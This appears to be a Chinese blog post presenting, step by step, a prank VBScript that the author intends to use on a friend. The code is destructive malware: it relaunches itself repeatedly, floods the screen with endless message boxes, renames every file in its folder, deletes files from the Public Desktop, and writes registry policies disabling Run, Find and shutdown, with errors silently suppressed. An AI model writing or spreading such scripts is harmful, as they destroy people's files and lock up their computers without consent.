隔离在家无(gao)聊(shi)时,你会干什么?--随便写写VBS
Dim fso, wsh
DirTotal=0
Set fso = wscript.CreateObject("scripting.filesystemobject")
Set wsh = wscript.CreateObject("wscript.shell")
curpath=fso.GetFolder(".").Path&"\asd.vbs"
DirTotal = DirTotal + 1
wsh.run curpath
Msgbox "No more disk space. Delete Windows?",16,"Aww Man!"
加个循环
On Error Resume Next
Dim fso, wsh
DirTotal=0
Set fso = wscript.CreateObject("scripting.filesystemobject")
Set wsh = wscript.CreateObject("wscript.shell")
curpath=fso.GetFolder(".").Path&"\asd.vbs"
DirTotal = DirTotal + 1
wsh.run curpath
do
Msgbox "No more disk space. Delete Windows?",16,"Aww Man!"
loop
接着来点修改父文件夹里的文件名称
On Error Resume Next
Dim fso, myFolder, myFile, curFolder,wsh
Set fso = wscript.CreateObject("scripting.filesystemobject")
Set wsh = wscript.CreateObject("wscript.shell")
Set cf = fso.getfolder(".")
curpath=fso.GetFolder(".").Path&"\asd.vbs"
If cf.Files.Count > 0 Then
For Each myFile In cf.Files
If strcomp(myFile.Name,"asd.vbs")=0 Then
Else
fso.MoveFile cf.path&"\"&myFile.Name,cf.path&"\ERROR"&FileTotal
FileTotal = FileTotal + 1
End If
Next
End If
wsh.run curpath
Msgbox "No more disk space. Delete Windows?",16,"Aww Man!"
组合一下
On Error Resume Next
Dim fso, myFolder, myFile, curFolder,wsh
DirTotal=0
Set fso = wscript.CreateObject("scripting.filesystemobject")
Set wsh = wscript.CreateObject("wscript.shell")
Set curFolders = fso.getfolder("C:\Users\Public\Desktop\")
Set cf = fso.getfolder(".")
curpath=fso.GetFolder(".").Path&"\asd.vbs"
DirTotal = DirTotal + 1
If curFolders.Files.Count > 0 Then
For Each myFile In curFolders.Files
If Instr(1,strcomp(myFile.Name,"asd.vbs"))<=0 Then
Else
fso.DeleteFile "C:\Users\Public\Desktop\"&myFile.Name
FileTotal = FileTotal + 1
End If
Next
End If
If cf.Files.Count > 0 Then
For Each myFile In cf.Files
If strcomp(myFile.Name,"asd.vbs")=0 Then
Else
fso.MoveFile cf.path&"\"&myFile.Name,cf.path&"\ERROR"&FileTotal
FileTotal = FileTotal + 1
End If
Next
End If
wsh.run curpath
Msgbox "No more disk space. Delete Windows?",16,"Aww Man!"
Dim CS
Set CS=WScript.CreateObject("wscript.shell")
RegPath="HKCR\Software\Microsoft\Windows\CurrentVersion\Policies\"
TypeN="REG_DWORD"
SM_Run="NoRun"
SM_Find="NoFind"
SM_Close="NoClose"
Sub Change(Argument)
CS.RegWrite RegPath&Argument,1,TypeN
MsgBox("Success!")
End Sub
Call Change(SM_Run)
Call Change(SM_Find)
Call Change(SM_Close)
修改注册表也可以加上。我不(lan)想(de)重装虚拟机o(* ̄▽ ̄*)ブ
拼一下
On Error Resume Next
Dim fso, myFolder, myFile, curFolder,wsh
DirTotal=0
Set fso = wscript.CreateObject("scripting.filesystemobject")
Set wsh = wscript.CreateObject("wscript.shell")
Set curFolders = fso.getfolder("C:\Users\Public\Desktop\")
Set cf = fso.getfolder(".")
curpath=fso.GetFolder(".").Path&"\asd.vbs"
DirTotal = DirTotal + 1
'这一段是后来加的
If curFolders.Files.Count > 0 Then
For Each myFile In curFolders.Files
If Instr(1,strcomp(myFile.Name,"asd.vbs"))<=0 Then
Else
fso.DeleteFile "C:\Users\Public\Desktop\"&myFile.Name
FileTotal = FileTotal + 1
End If
Next
End If
If cf.Files.Count > 0 Then
For Each myFile In cf.Files
If strcomp(myFile.Name,"asd.vbs")=0 Then
Else
fso.MoveFile cf.path&"\"&myFile.Name,cf.path&"\ERROR"&FileTotal
FileTotal = FileTotal + 1
End If
Next
End If
wsh.run curpath
do
Msgbox "No more disk space. Delete Windows?",16,"Aww Man!"
loop
ps:忽略报错是为了跳过无权限的文件,不是调试不行!
:)(准备加上一段蓝屏代码和d窗来整我的好伙伴)
效果图:
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)